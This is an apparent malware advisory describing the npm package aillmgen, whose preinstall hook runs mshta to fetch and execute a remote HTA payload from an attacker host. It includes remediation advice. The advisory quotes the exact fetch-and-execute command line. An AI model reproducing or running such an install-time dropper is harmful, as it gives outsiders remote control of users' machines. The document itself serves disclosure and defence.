MAL-2026-5927 Malicious code in aillmgen (npm)

On npm install, the package's preinstall hook (preinstall.js) runs exec('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta.exe binary to fetch and execute an HTA payload from http://fixars.top with the installer's privileges. mshta is a well-known living-off-the-land binary that executes arbitrary HTA/JScript/VBScript content directly from a remote URL, giving the operator of fixars.top remote code execution on any Windows machine that installs this package. The remote endpoint is plain HTTP and attacker-mutable, and the behavior is unrelated to the package's stated LLM-client purpose (the library code references an EasyLLMClient targeting api.easyllm.ai while the package itself is published under the unrelated name aillmgen with empty author and description metadata). The combination of install-time RCE, plaintext attacker-controlled fetch-and-execute, impersonation of an LLM-client utility, and placeholder publisher metadata is a supply-chain dropper.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.